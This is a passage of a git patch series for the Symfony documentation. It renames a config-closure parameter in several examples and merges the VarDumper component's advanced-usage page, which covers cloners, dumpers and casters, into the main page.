@@ -325,7 +325,7 @@ add a service conditionally based on the ``foo`` value::
                 ->end();
         }
 
-        public function loadExtension(array $config, ContainerConfigurator $container, ContainerBuilder $builder): void
+        public function loadExtension(array $config, ContainerConfigurator $containerConfigurator, ContainerBuilder $builder): void
         {
             if ($config['foo']) {
                 $builder->register('foo_service', \stdClass::class);
diff --git a/notifier.rst b/notifier.rst
index d689d7972b2..ebe9de39054 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -741,8 +741,8 @@ typical alert levels, which you can implement immediately using:
 
         use Symfony\Component\Notifier\FlashMessage\BootstrapFlashMessageImportanceMapper;
 
-        return function(ContainerConfigurator $configurator) {
-            $configurator->services()
+        return function(ContainerConfigurator $containerConfigurator) {
+            $containerConfigurator->services()
                 ->set('notifier.flash_message_importance_mapper', BootstrapFlashMessageImportanceMapper::class)
             ;
         };
diff --git a/service_container/factories.rst b/service_container/factories.rst
index d8ca852e6e9..d5164e03b05 100644
--- a/service_container/factories.rst
+++ b/service_container/factories.rst
@@ -298,8 +298,8 @@ e.g. change the service based on a parameter:
         use App\Email\NewsletterManagerInterface;
         use App\Email\NewsletterManagerFactory;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(NewsletterManagerInterface::class)
                 // use the "tracable_newsletter" service when debug is enabled, "newsletter" otherwise.
diff --git a/service_container/tags.rst b/service_container/tags.rst
index bf20981504f..08dbb862744 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -672,8 +672,8 @@ iterator, add the ``exclude`` option:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             // ...
 

From d2cbbddb8363d6c97726de2807e957da87c615e8 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Sat, 7 Jan 2023 15:44:07 +0100
Subject: [PATCH 2705/5766] Merge VarDumper docs into one

---
 components/var_dumper.rst          | 417 ++++++++++++++++++++++++++++-
 components/var_dumper/advanced.rst | 408 ----------------------------
 2 files changed, 410 insertions(+), 415 deletions(-)
 delete mode 100644 components/var_dumper/advanced.rst

diff --git a/components/var_dumper.rst b/components/var_dumper.rst
index 480ec326967..e7d3d381313 100644
--- a/components/var_dumper.rst
+++ b/components/var_dumper.rst
@@ -71,7 +71,8 @@ current PHP SAPI:
 .. note::
 
     If you want to catch the dump output as a string, please read the
-    :doc:`advanced documentation </components/var_dumper/advanced>` which contains examples of it.
+    :ref:`advanced section <var-dumper-advanced>` which contains examples of
+    it.
     You'll also learn how to change the format or redirect the output to
     wherever you want.
 
@@ -468,11 +469,413 @@ then its dump representation::
 
 .. image:: /_images/components/var_dumper/09-cut.png
 
-Learn More
-----------
+.. _var-dumper-advanced:
 
-.. toctree::
-    :maxdepth: 1
-    :glob:
+.. index::
+   single: VarDumper
+   single: Components; VarDumper
+
+Advanced Usage
+--------------
+
+The ``dump()`` function is just a thin wrapper and a more convenient way to call
+:method:`VarDumper::dump() <Symfony\\Component\\VarDumper\\VarDumper::dump>`.
+You can change the behavior of this function by calling
+:method:`VarDumper::setHandler($callable) <Symfony\\Component\\VarDumper\\VarDumper::setHandler>`.
+Calls to ``dump()`` will then be forwarded to ``$callable``.
+
+By adding a handler, you can customize the `Cloners`_, `Dumpers`_ and `Casters`_
+as explained below. A simple implementation of a handler function might look
+like this::
+
+    use Symfony\Component\VarDumper\Cloner\VarCloner;
+    use Symfony\Component\VarDumper\Dumper\CliDumper;
+    use Symfony\Component\VarDumper\Dumper\HtmlDumper;
+    use Symfony\Component\VarDumper\VarDumper;
+
+    VarDumper::setHandler(function ($var) {
+        $cloner = new VarCloner();
+        $dumper = 'cli' === PHP_SAPI ? new CliDumper() : new HtmlDumper();
+
+        $dumper->dump($cloner->cloneVar($var));
+    });
+
+Cloners
+~~~~~~~
+
+A cloner is used to create an intermediate representation of any PHP variable.
+Its output is a :class:`Symfony\\Component\\VarDumper\\Cloner\\Data`
+object that wraps this representation.
+
+You can create a ``Data`` object this way::
+
+    use Symfony\Component\VarDumper\Cloner\VarCloner;
+
+    $cloner = new VarCloner();
+    $data = $cloner->cloneVar($myVar);
+    // this is commonly then passed to the dumper
+    // see the example at the top of this page
+    // $dumper->dump($data);
+
+Whatever the cloned data structure, resulting ``Data`` objects are always
+serializable.
+
+A cloner applies limits when creating the representation, so that one
+can represent only a subset of the cloned variable.
+Before calling :method:`Symfony\\Component\\VarDumper\\Cloner\\VarCloner::cloneVar`,
+you can configure these limits:
+
+:method:`Symfony\\Component\\VarDumper\\Cloner\\VarCloner::setMaxItems`
+    Configures the maximum number of items that will be cloned
+    *past the minimum nesting depth*. Items are counted using a breadth-first
+    algorithm so that lower level items have higher priority than deeply nested
+    items. Specifying ``-1`` removes the limit.
+
+:method:`Symfony\\Component\\VarDumper\\Cloner\\VarCloner::setMinDepth`
+    Configures the minimum tree depth where we are guaranteed to clone
+    all the items. After this depth is reached, only ``setMaxItems``
+    items will be cloned. The default value is ``1``, which is consistent
+    with older Symfony versions.
+
+:method:`Symfony\\Component\\VarDumper\\Cloner\\VarCloner::setMaxString`
+    Configures the maximum number of characters that will be cloned before
+    cutting overlong strings.  Specifying ``-1`` removes the limit.
+
+Before dumping it, you can further limit the resulting
+:class:`Symfony\\Component\\VarDumper\\Cloner\\Data` object using the following methods:
+
+:method:`Symfony\\Component\\VarDumper\\Cloner\\Data::withMaxDepth`
+    Limits dumps in the depth dimension.
+
+:method:`Symfony\\Component\\VarDumper\\Cloner\\Data::withMaxItemsPerDepth`
+    Limits the number of items per depth level.
+
+:method:`Symfony\\Component\\VarDumper\\Cloner\\Data::withRefHandles`
+    Removes internal objects' handles for sparser output (useful for tests).
+
+:method:`Symfony\\Component\\VarDumper\\Cloner\\Data::seek`
+    Selects only sub-parts of already cloned arrays, objects or resources.
+
+Unlike the previous limits on cloners that remove data on purpose, these can
+be changed back and forth before dumping since they do not affect the
+intermediate representation internally.
+
+.. note::
+
+    When no limit is applied, a :class:`Symfony\\Component\\VarDumper\\Cloner\\Data`
+    object is as accurate as the native :phpfunction:`serialize` function,
+    and thus could be used for purposes beyond debugging.
+
+Dumpers
+~~~~~~~
+
+A dumper is responsible for outputting a string representation of a PHP variable,
+using a :class:`Symfony\\Component\\VarDumper\\Cloner\\Data` object as input.
+The destination and the formatting of this output vary with dumpers.
+
+This component comes with an :class:`Symfony\\Component\\VarDumper\\Dumper\\HtmlDumper`
+for HTML output and a :class:`Symfony\\Component\\VarDumper\\Dumper\\CliDumper`
+for optionally colored command line output.
+
+For example, if you want to dump some ``$variable``, do::
+
+    use Symfony\Component\VarDumper\Cloner\VarCloner;
+    use Symfony\Component\VarDumper\Dumper\CliDumper;
+
+    $cloner = new VarCloner();
+    $dumper = new CliDumper();
+
+    $dumper->dump($cloner->cloneVar($variable));
+
+By using the first argument of the constructor, you can select the output
+stream where the dump will be written. By default, the ``CliDumper`` writes
+on ``php://stdout`` and the ``HtmlDumper`` on ``php://output``. But any PHP
+stream (resource or URL) is acceptable.
+
+Instead of a stream destination, you can also pass it a ``callable`` that
+will be called repeatedly for each line generated by a dumper. This
+callable can be configured using the first argument of a dumper's constructor,
+but also using the
+:method:`Symfony\\Component\\VarDumper\\Dumper\\AbstractDumper::setOutput`
+method or the second argument of the
+:method:`Symfony\\Component\\VarDumper\\Dumper\\AbstractDumper::dump` method.
+
+For example, to get a dump as a string in a variable, you can do::
+
+    use Symfony\Component\VarDumper\Cloner\VarCloner;
+    use Symfony\Component\VarDumper\Dumper\CliDumper;
+
+    $cloner = new VarCloner();
+    $dumper = new CliDumper();
+    $output = '';
+
+    $dumper->dump(
+        $cloner->cloneVar($variable),
+        function ($line, $depth) use (&$output) {
+            // A negative depth means "end of dump"
+            if ($depth >= 0) {
+                // Adds a two spaces indentation to the line
+                $output .= str_repeat('  ', $depth).$line."\n";
+            }
+        }
+    );
+
+    // $output is now populated with the dump representation of $variable
+
+Another option for doing the same could be::
+
+    use Symfony\Component\VarDumper\Cloner\VarCloner;
+    use Symfony\Component\VarDumper\Dumper\CliDumper;
+
+    $cloner = new VarCloner();
+    $dumper = new CliDumper();
+    $output = fopen('php://memory', 'r+b');
+
+    $dumper->dump($cloner->cloneVar($variable), $output);
+    $output = stream_get_contents($output, -1, 0);
+
+    // $output is now populated with the dump representation of $variable
+
+.. tip::
+
+    You can pass ``true`` to the second argument of the
+    :method:`Symfony\\Component\\VarDumper\\Dumper\\AbstractDumper::dump`
+    method to make it return the dump as a string::
 
-    var_dumper/*
+        $output = $dumper->dump($cloner->cloneVar($variable), true);
+
+Dumpers implement the :class:`Symfony\\Component\\VarDumper\\Dumper\\DataDumperInterface`
+interface that specifies the
+:method:`dump(Data $data) <Symfony\\Component\\VarDumper\\Dumper\\DataDumperInterface::dump>`
+method. They also typically implement the
+:class:`Symfony\\Component\\VarDumper\\Cloner\\DumperInterface` that frees
+them from re-implementing the logic required to walk through a
+:class:`Symfony\\Component\\VarDumper\\Cloner\\Data` object's internal structure.
+
+The :class:`Symfony\\Component\\VarDumper\\Dumper\\HtmlDumper` uses a dark
+theme by default. Use the :method:`Symfony\\Component\\VarDumper\\Dumper\\HtmlDumper::setTheme`
+method to use a light theme::
+
+    // ...
+    $htmlDumper->setTheme('light');
+
+The :class:`Symfony\\Component\\VarDumper\\Dumper\\HtmlDumper` limits string
+length and nesting depth of the output to make it more readable. These options
+can be overridden by the third optional parameter of the
+:method:`dump(Data $data) <Symfony\\Component\\VarDumper\\Dumper\\DataDumperInterface::dump>`
+method::
+
+    use Symfony\Component\VarDumper\Dumper\HtmlDumper;
+
+    $output = fopen('php://memory', 'r+b');
+
+    $dumper = new HtmlDumper();
+    $dumper->dump($var, $output, [
+        // 1 and 160 are the default values for these options
+        'maxDepth' => 1,
+        'maxStringLength' => 160,
+    ]);
+
+The output format of a dumper can be fine tuned by the two flags
+``DUMP_STRING_LENGTH`` and ``DUMP_LIGHT_ARRAY`` which are passed as a bitmap
+in the third constructor argument. They can also be set via environment
+variables when using
+:method:`assertDumpEquals($dump, $data, $filter, $message) <Symfony\\Component\\VarDumper\\Test\\VarDumperTestTrait::assertDumpEquals>`
+during unit testing.
+
+The ``$filter`` argument of ``assertDumpEquals()`` can be used to pass a
+bit field of ``Caster::EXCLUDE_*`` constants and influences the expected
+output produced by the different casters.
+
+If ``DUMP_STRING_LENGTH`` is set, then the length of a string is displayed
+next to its content::
+
+    use Symfony\Component\VarDumper\Cloner\VarCloner;
+    use Symfony\Component\VarDumper\Dumper\AbstractDumper;
+    use Symfony\Component\VarDumper\Dumper\CliDumper;
+
+    $varCloner = new VarCloner();
+    $var = ['test'];
+
+    $dumper = new CliDumper();
+    echo $dumper->dump($varCloner->cloneVar($var), true);
+
+    // array:1 [
+    //   0 => "test"
+    // ]
+
+    $dumper = new CliDumper(null, null, AbstractDumper::DUMP_STRING_LENGTH);
+    echo $dumper->dump($varCloner->cloneVar($var), true);
+
+    // (added string length before the string)
+    // array:1 [
+    //   0 => (4) "test"
+    // ]
+
+If ``DUMP_LIGHT_ARRAY`` is set, then arrays are dumped in a shortened format
+similar to PHP's short array notation::
+
+    use Symfony\Component\VarDumper\Cloner\VarCloner;
+    use Symfony\Component\VarDumper\Dumper\AbstractDumper;
+    use Symfony\Component\VarDumper\Dumper\CliDumper;
+
+    $varCloner = new VarCloner();
+    $var = ['test'];
+
+    $dumper = new CliDumper();
+    echo $dumper->dump($varCloner->cloneVar($var), true);
+
+    // array:1 [
+    //   0 => "test"
+    // ]
+
+    $dumper = new CliDumper(null, null, AbstractDumper::DUMP_LIGHT_ARRAY);
+    echo $dumper->dump($varCloner->cloneVar($var), true);
+
+    // (no more array:1 prefix)
+    // [
+    //   0 => "test"
+    // ]
+
+If you would like to use both options, then you can combine them by
+using the logical OR operator ``|``::
+
+    use Symfony\Component\VarDumper\Cloner\VarCloner;
+    use Symfony\Component\VarDumper\Dumper\AbstractDumper;
+    use Symfony\Component\VarDumper\Dumper\CliDumper;
+
+    $varCloner = new VarCloner();
+    $var = ['test'];
+
+    $dumper = new CliDumper(null, null, AbstractDumper::DUMP_STRING_LENGTH | AbstractDumper::DUMP_LIGHT_ARRAY);
+    echo $dumper->dump($varCloner->cloneVar($var), true);
+
+    // [
+    //   0 => (4) "test"
+    // ]
+
+Casters
+~~~~~~~
+
+Objects and resources nested in a PHP variable are "cast" to arrays in the
+intermediate :class:`Symfony\\Component\\VarDumper\\Cloner\\Data`
+representation. You can customize the array representation for each object/resource
+by hooking a Caster into this process. The component already includes many
+casters for base PHP classes and other common classes.
+
+If you want to build your own Caster, you can register one before cloning
+a PHP variable. Casters are registered using either a Cloner's constructor
+or its ``addCasters()`` method::
+
+    use Symfony\Component\VarDumper\Cloner\VarCloner;
+
+    $myCasters = [...];
+    $cloner = new VarCloner($myCasters);
+
+    // or
+
+    $cloner->addCasters($myCasters);
+
+The provided ``$myCasters`` argument is an array that maps a class,
+an interface or a resource type to a callable::
+
+    $myCasters = [
+        'FooClass' => $myFooClassCallableCaster,
+        ':bar resource' => $myBarResourceCallableCaster,
+    ];
+
+As you can notice, resource types are prefixed by a ``:`` to prevent
+colliding with a class name.
+
+Because an object has one main class and potentially many parent classes
+or interfaces, many casters can be applied to one object. In this case,
+casters are called one after the other, starting from casters bound to the
+interfaces, the parents classes and then the main class. Several casters
+can also be registered for the same resource type/class/interface.
+They are called in registration order.
+
+Casters are responsible for returning the properties of the object or resource
+being cloned in an array. They are callables that accept five arguments:
+
+* the object or resource being casted;
+* an array modeled for objects after PHP's native ``(array)`` cast operator;
+* a :class:`Symfony\\Component\\VarDumper\\Cloner\\Stub` object
+  representing the main properties of the object (class, type, etc.);
+* true/false when the caster is called nested in a structure or not;
+* A bit field of :class:`Symfony\\Component\\VarDumper\\Caster\\Caster` ``::EXCLUDE_*``
+  constants.
+
+Here is a simple caster not doing anything::
+
+    use Symfony\Component\VarDumper\Cloner\Stub;
+
+    function myCaster($object, $array, Stub $stub, $isNested, $filter)
+    {
+        // ... populate/alter $array to your needs
+
+        return $array;
+    }
+
+For objects, the ``$array`` parameter comes pre-populated using PHP's native
+``(array)`` casting operator or with the return value of ``$object->__debugInfo()``
+if the magic method exists. Then, the return value of one Caster is given
+as the array argument to the next Caster in the chain.
+
+When casting with the ``(array)`` operator, PHP prefixes protected properties
+with a ``\0*\0`` and private ones with the class owning the property. For example,
+``\0Foobar\0`` will be the prefix for all private properties of objects of
+type Foobar. Casters follow this convention and add two more prefixes: ``\0~\0``
+is used for virtual properties and ``\0+\0`` for dynamic ones (runtime added
+properties not in the class declaration).
+
+.. note::
+
+    Although you can, it is advised to not alter the state of an object
+    while casting it in a Caster.
+
+.. tip::
+
+    Before writing your own casters, you should check the existing ones.
+
+Adding Semantics with Metadata
+..............................
+
+Since casters are hooked on specific classes or interfaces, they know about the
+objects they manipulate. By altering the ``$stub`` object (the third argument of
+any caster), one can transfer this knowledge to the resulting ``Data`` object,
+thus to dumpers. To help you do this (see the source code for how it works),
+the component comes with a set of wrappers for common additional semantics. You
+can use:
+
+* :class:`Symfony\\Component\\VarDumper\\Caster\\ConstStub` to wrap a value that is
+  best represented by a PHP constant;
+* :class:`Symfony\\Component\\VarDumper\\Caster\\ClassStub` to wrap a PHP identifier
+  (*i.e.* a class name, a method name, an interface, *etc.*);
+* :class:`Symfony\\Component\\VarDumper\\Caster\\CutStub` to replace big noisy
+  objects/strings/*etc.* by ellipses;
+* :class:`Symfony\\Component\\VarDumper\\Caster\\CutArrayStub` to keep only some
+  useful keys of an array;
+* :class:`Symfony\\Component\\VarDumper\\Caster\\ImgStub` to wrap an image;
+* :class:`Symfony\\Component\\VarDumper\\Caster\\EnumStub` to wrap a set of virtual
+  values (*i.e.* values that do not exist as properties in the original PHP data
+  structure, but are worth listing alongside with real ones);
+* :class:`Symfony\\Component\\VarDumper\\Caster\\LinkStub` to wrap strings that can
+  be turned into links by dumpers;
+* :class:`Symfony\\Component\\VarDumper\\Caster\\TraceStub` and their
+* :class:`Symfony\\Component\\VarDumper\\Caster\\FrameStub` and
+* :class:`Symfony\\Component\\VarDumper\\Caster\\ArgsStub` relatives to wrap PHP
+  traces (used by :class:`Symfony\\Component\\VarDumper\\Caster\\ExceptionCaster`).
+
+For example, if you know that your ``Product`` objects have a ``brochure`` property
+that holds a file name or a URL, you can wrap them in a ``LinkStub`` to tell
+``HtmlDumper`` to make them clickable::
+
+    use Symfony\Component\VarDumper\Caster\LinkStub;
+    use Symfony\Component\VarDumper\Cloner\Stub;
+
+    function ProductCaster(Product $object, $array, Stub $stub, $isNested, $filter = 0)
+    {
+        $array['brochure'] = new LinkStub($array['brochure']);
+
+        return $array;
+    }
diff --git a/components/var_dumper/advanced.rst b/components/var_dumper/advanced.rst
deleted file mode 100644
index ded04cca902..00000000000
--- a/components/var_dumper/advanced.rst
+++ /dev/null
@@ -1,408 +0,0 @@
-.. index::
-   single: VarDumper
-   single: Components; VarDumper
-
-Advanced Usage of the VarDumper Component
-=========================================
-
-The ``dump()`` function is just a thin wrapper and a more convenient way to call
-:method:`VarDumper::dump() <Symfony\\Component\\VarDumper\\VarDumper::dump>`.
-You can change the behavior of this function by calling
-:method:`VarDumper::setHandler($callable) <Symfony\\Component\\VarDumper\\VarDumper::setHandler>`.
-Calls to ``dump()`` will then be forwarded to ``$callable``.
-
-By adding a handler, you can customize the `Cloners`_, `Dumpers`_ and `Casters`_
-as explained below. A simple implementation of a handler function might look
-like this::
-
-    use Symfony\Component\VarDumper\Cloner\VarCloner;
-    use Symfony\Component\VarDumper\Dumper\CliDumper;
-    use Symfony\Component\VarDumper\Dumper\HtmlDumper;
-    use Symfony\Component\VarDumper\VarDumper;
-
-    VarDumper::setHandler(function ($var) {
-        $cloner = new VarCloner();
-        $dumper = 'cli' === PHP_SAPI ? new CliDumper() : new HtmlDumper();
-
-        $dumper->dump($cloner->cloneVar($var));
-    });
-
-Cloners
--------
-
-A cloner is used to create an intermediate representation of any PHP variable.
-Its output is a :class:`Symfony\\Component\\VarDumper\\Cloner\\Data`
-object that wraps this representation.
-
-You can create a ``Data`` object this way::
-
-    use Symfony\Component\VarDumper\Cloner\VarCloner;
-
-    $cloner = new VarCloner();
-    $data = $cloner->cloneVar($myVar);
-    // this is commonly then passed to the dumper
-    // see the example at the top of this page
-    // $dumper->dump($data);
-
-Whatever the cloned data structure, resulting ``Data`` objects are always
-serializable.
-
-A cloner applies limits when creating the representation, so that one
-can represent only a subset of the cloned variable.
-Before calling :method:`Symfony\\Component\\VarDumper\\Cloner\\VarCloner::cloneVar`,
-you can configure these limits:
-
-:method:`Symfony\\Component\\VarDumper\\Cloner\\VarCloner::setMaxItems`
-    Configures the maximum number of items that will be cloned
-    *past the minimum nesting depth*. Items are counted using a breadth-first
-    algorithm so that lower level items have higher priority than deeply nested
-    items. Specifying ``-1`` removes the limit.
-
-:method:`Symfony\\Component\\VarDumper\\Cloner\\VarCloner::setMinDepth`
-    Configures the minimum tree depth where we are guaranteed to clone
-    all the items. After this depth is reached, only ``setMaxItems``
-    items will be cloned. The default value is ``1``, which is consistent
-    with older Symfony versions.
-
-:method:`Symfony\\Component\\VarDumper\\Cloner\\VarCloner::setMaxString`
-    Configures the maximum number of characters that will be cloned before
-    cutting overlong strings.  Specifying ``-1`` removes the limit.
-
-Before dumping it, you can further limit the resulting
-:class:`Symfony\\Component\\VarDumper\\Cloner\\Data` object using the following methods:
-
-:method:`Symfony\\Component\\VarDumper\\Cloner\\Data::withMaxDepth`
-    Limits dumps in the depth dimension.
-
-:method:`Symfony\\Component\\VarDumper\\Cloner\\Data::withMaxItemsPerDepth`
-    Limits the number of items per depth level.
-
-:method:`Symfony\\Component\\VarDumper\\Cloner\\Data::withRefHandles`
-    Removes internal objects' handles for sparser output (useful for tests).
-
-:method:`Symfony\\Component\\VarDumper\\Cloner\\Data::seek`
-    Selects only sub-parts of already cloned arrays, objects or resources.
-
-Unlike the previous limits on cloners that remove data on purpose, these can
-be changed back and forth before dumping since they do not affect the
-intermediate representation internally.
-
-.. note::
-
-    When no limit is applied, a :class:`Symfony\\Component\\VarDumper\\Cloner\\Data`
-    object is as accurate as the native :phpfunction:`serialize` function,
-    and thus could be used for purposes beyond debugging.
-
-Dumpers
--------
-
-A dumper is responsible for outputting a string representation of a PHP variable,
-using a :class:`Symfony\\Component\\VarDumper\\Cloner\\Data` object as input.
-The destination and the formatting of this output vary with dumpers.
-
-This component comes with an :class:`Symfony\\Component\\VarDumper\\Dumper\\HtmlDumper`
-for HTML output and a :class:`Symfony\\Component\\VarDumper\\Dumper\\CliDumper`
-for optionally colored command line output.
-
-For example, if you want to dump some ``$variable``, do::
-
-    use Symfony\Component\VarDumper\Cloner\VarCloner;
-    use Symfony\Component\VarDumper\Dumper\CliDumper;
-
-    $cloner = new VarCloner();
-    $dumper = new CliDumper();
-
-    $dumper->dump($cloner->cloneVar($variable));
-
-By using the first argument of the constructor, you can select the output
-stream where the dump will be written. By default, the ``CliDumper`` writes
-on ``php://stdout`` and the ``HtmlDumper`` on ``php://output``. But any PHP
-stream (resource or URL) is acceptable.
-
-Instead of a stream destination, you can also pass it a ``callable`` that
-will be called repeatedly for each line generated by a dumper. This
-callable can be configured using the first argument of a dumper's constructor,
-but also using the
-:method:`Symfony\\Component\\VarDumper\\Dumper\\AbstractDumper::setOutput`
-method or the second argument of the
-:method:`Symfony\\Component\\VarDumper\\Dumper\\AbstractDumper::dump` method.
-
-For example, to get a dump as a string in a variable, you can do::
-
-    use Symfony\Component\VarDumper\Cloner\VarCloner;
-    use Symfony\Component\VarDumper\Dumper\CliDumper;
-
-    $cloner = new VarCloner();
-    $dumper = new CliDumper();
-    $output = '';
-
-    $dumper->dump(
-        $cloner->cloneVar($variable),
-        function ($line, $depth) use (&$output) {
-            // A negative depth means "end of dump"
-            if ($depth >= 0) {
-                // Adds a two spaces indentation to the line
-                $output .= str_repeat('  ', $depth).$line."\n";
-            }
-        }
-    );
-
-    // $output is now populated with the dump representation of $variable
-
-Another option for doing the same could be::
-
-    use Symfony\Component\VarDumper\Cloner\VarCloner;
-    use Symfony\Component\VarDumper\Dumper\CliDumper;
-
-    $cloner = new VarCloner();
-    $dumper = new CliDumper();
-    $output = fopen('php://memory', 'r+b');
-
-    $dumper->dump($cloner->cloneVar($variable), $output);
-    $output = stream_get_contents($output, -1, 0);
-
-    // $output is now populated with the dump representation of $variable
-
-.. tip::
-
-    You can pass ``true`` to the second argument of the
-    :method:`Symfony\\Component\\VarDumper\\Dumper\\AbstractDumper::dump`
-    method to make it return the dump as a string::
-
-        $output = $dumper->dump($cloner->cloneVar($variable), true);
-
-Dumpers implement the :class:`Symfony\\Component\\VarDumper\\Dumper\\DataDumperInterface`
-interface that specifies the
-:method:`dump(Data $data) <Symfony\\Component\\VarDumper\\Dumper\\DataDumperInterface::dump>`
-method. They also typically implement the
-:class:`Symfony\\Component\\VarDumper\\Cloner\\DumperInterface` that frees
-them from re-implementing the logic required to walk through a
-:class:`Symfony\\Component\\VarDumper\\Cloner\\Data` object's internal structure.
-
-The :class:`Symfony\\Component\\VarDumper\\Dumper\\HtmlDumper` uses a dark
-theme by default. Use the :method:`Symfony\\Component\\VarDumper\\Dumper\\HtmlDumper::setTheme`
-method to use a light theme::
-
-    // ...
-    $htmlDumper->setTheme('light');
-
-The :class:`Symfony\\Component\\VarDumper\\Dumper\\HtmlDumper` limits string
-length and nesting depth of the output to make it more readable. These options
-can be overridden by the third optional parameter of the
-:method:`dump(Data $data) <Symfony\\Component\\VarDumper\\Dumper\\DataDumperInterface::dump>`
-method::
-
-    use Symfony\Component\VarDumper\Dumper\HtmlDumper;
-
-    $output = fopen('php://memory', 'r+b');
-
-    $dumper = new HtmlDumper();
-    $dumper->dump($var, $output, [
-        // 1 and 160 are the default values for these options
-        'maxDepth' => 1,
-        'maxStringLength' => 160,
-    ]);
-
-The output format of a dumper can be fine tuned by the two flags
-``DUMP_STRING_LENGTH`` and ``DUMP_LIGHT_ARRAY`` which are passed as a bitmap
-in the third constructor argument. They can also be set via environment
-variables when using
-:method:`assertDumpEquals($dump, $data, $filter, $message) <Symfony\\Component\\VarDumper\\Test\\VarDumperTestTrait::assertDumpEquals>`
-during unit testing.
-
-The ``$filter`` argument of ``assertDumpEquals()`` can be used to pass a
-bit field of ``Caster::EXCLUDE_*`` constants and influences the expected
-output produced by the different casters.
-
-If ``DUMP_STRING_LENGTH`` is set, then the length of a string is displayed
-next to its content::
-
-    use Symfony\Component\VarDumper\Cloner\VarCloner;
-    use Symfony\Component\VarDumper\Dumper\AbstractDumper;
-    use Symfony\Component\VarDumper\Dumper\CliDumper;
-
-    $varCloner = new VarCloner();
-    $var = ['test'];
-
-    $dumper = new CliDumper();
-    echo $dumper->dump($varCloner->cloneVar($var), true);
-
-    // array:1 [
-    //   0 => "test"
-    // ]
-
-    $dumper = new CliDumper(null, null, AbstractDumper::DUMP_STRING_LENGTH);
-    echo $dumper->dump($varCloner->cloneVar($var), true);
-
-    // (added string length before the string)
-    // array:1 [
-    //   0 => (4) "test"
-    // ]
-
-If ``DUMP_LIGHT_ARRAY`` is set, then arrays are dumped in a shortened format
-similar to PHP's short array notation::
-
-    use Symfony\Component\VarDumper\Cloner\VarCloner;
-    use Symfony\Component\VarDumper\Dumper\AbstractDumper;
-    use Symfony\Component\VarDumper\Dumper\CliDumper;
-
-    $varCloner = new VarCloner();
-    $var = ['test'];
-
-    $dumper = new CliDumper();
-    echo $dumper->dump($varCloner->cloneVar($var), true);
-
-    // array:1 [
-    //   0 => "test"
-    // ]
-
-    $dumper = new CliDumper(null, null, AbstractDumper::DUMP_LIGHT_ARRAY);
-    echo $dumper->dump($varCloner->cloneVar($var), true);
-
-    // (no more array:1 prefix)
-    // [
-    //   0 => "test"
-    // ]
-
-If you would like to use both options, then you can combine them by
-using the logical OR operator ``|``::
-
-    use Symfony\Component\VarDumper\Cloner\VarCloner;
-    use Symfony\Component\VarDumper\Dumper\AbstractDumper;
-    use Symfony\Component\VarDumper\Dumper\CliDumper;
-
-    $varCloner = new VarCloner();
-    $var = ['test'];
-
-    $dumper = new CliDumper(null, null, AbstractDumper::DUMP_STRING_LENGTH | AbstractDumper::DUMP_LIGHT_ARRAY);
-    echo $dumper->dump($varCloner->cloneVar($var), true);
-
-    // [
-    //   0 => (4) "test"
-    // ]
-
-Casters
--------
-
-Objects and resources nested in a PHP variable are "cast" to arrays in the
-intermediate :class:`Symfony\\Component\\VarDumper\\Cloner\\Data`
-representation. You can customize the array representation for each object/resource
-by hooking a Caster into this process. The component already includes many
-casters for base PHP classes and other common classes.
-
-If you want to build your own Caster, you can register one before cloning
-a PHP variable. Casters are registered using either a Cloner's constructor
-or its ``addCasters()`` method::
-
-    use Symfony\Component\VarDumper\Cloner\VarCloner;
-
-    $myCasters = [...];
-    $cloner = new VarCloner($myCasters);
-
-    // or
-
-    $cloner->addCasters($myCasters);
-
-The provided ``$myCasters`` argument is an array that maps a class,
-an interface or a resource type to a callable::
-
-    $myCasters = [
-        'FooClass' => $myFooClassCallableCaster,
-        ':bar resource' => $myBarResourceCallableCaster,
-    ];
-
-As you can notice, resource types are prefixed by a ``:`` to prevent
-colliding with a class name.
-
-Because an object has one main class and potentially many parent classes
-or interfaces, many casters can be applied to one object. In this case,
-casters are called one after the other, starting from casters bound to the
-interfaces, the parents classes and then the main class. Several casters
-can also be registered for the same resource type/class/interface.
-They are called in registration order.
-
-Casters are responsible for returning the properties of the object or resource
-being cloned in an array. They are callables that accept five arguments:
-
-* the object or resource being casted;
-* an array modeled for objects after PHP's native ``(array)`` cast operator;
-* a :class:`Symfony\\Component\\VarDumper\\Cloner\\Stub` object
-  representing the main properties of the object (class, type, etc.);
-* true/false when the caster is called nested in a structure or not;
-* A bit field of :class:`Symfony\\Component\\VarDumper\\Caster\\Caster` ``::EXCLUDE_*``
-  constants.
-
-Here is a simple caster not doing anything::
-
-    use Symfony\Component\VarDumper\Cloner\Stub;
-
-    function myCaster($object, $array, Stub $stub, $isNested, $filter)
-    {
-        // ... populate/alter $array to your needs
-
-        return $array;
-    }
-
-For objects, the ``$array`` parameter comes pre-populated using PHP's native
-``(array)`` casting operator or with the return value of ``$object->__debugInfo()``
-if the magic method exists. Then, the return value of one Caster is given
-as the array argument to the next Caster in the chain.
-
-When casting with the ``(array)`` operator, PHP prefixes protected properties
-with a ``\0*\0`` and private ones with the class owning the property. For example,
-``\0Foobar\0`` will be the prefix for all private properties of objects of
-type Foobar. Casters follow this convention and add two more prefixes: ``\0~\0``
-is used for virtual properties and ``\0+\0`` for dynamic ones (runtime added
-properties not in the class declaration).
-
-.. note::
-
-    Although you can, it is advised to not alter the state of an object
-    while casting it in a Caster.
-
-.. tip::
-
-    Before writing your own casters, you should check the existing ones.
-
-Adding Semantics with Metadata
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Since casters are hooked on specific classes or interfaces, they know about the
-objects they manipulate. By altering the ``$stub`` object (the third argument of
-any caster), one can transfer this knowledge to the resulting ``Data`` object,
-thus to dumpers. To help you do this (see the source code for how it works),
-the component comes with a set of wrappers for common additional semantics. You
-can use:
-
-* :class:`Symfony\\Component\\VarDumper\\Caster\\ConstStub` to wrap a value that is
-  best represented by a PHP constant;
-* :class:`Symfony\\Component\\VarDumper\\Caster\\ClassStub` to wrap a PHP identifier
-  (*i.e.* a class name, a method name, an interface, *etc.*);
-* :class:`Symfony\\Component\\VarDumper\\Caster\\CutStub` to replace big noisy
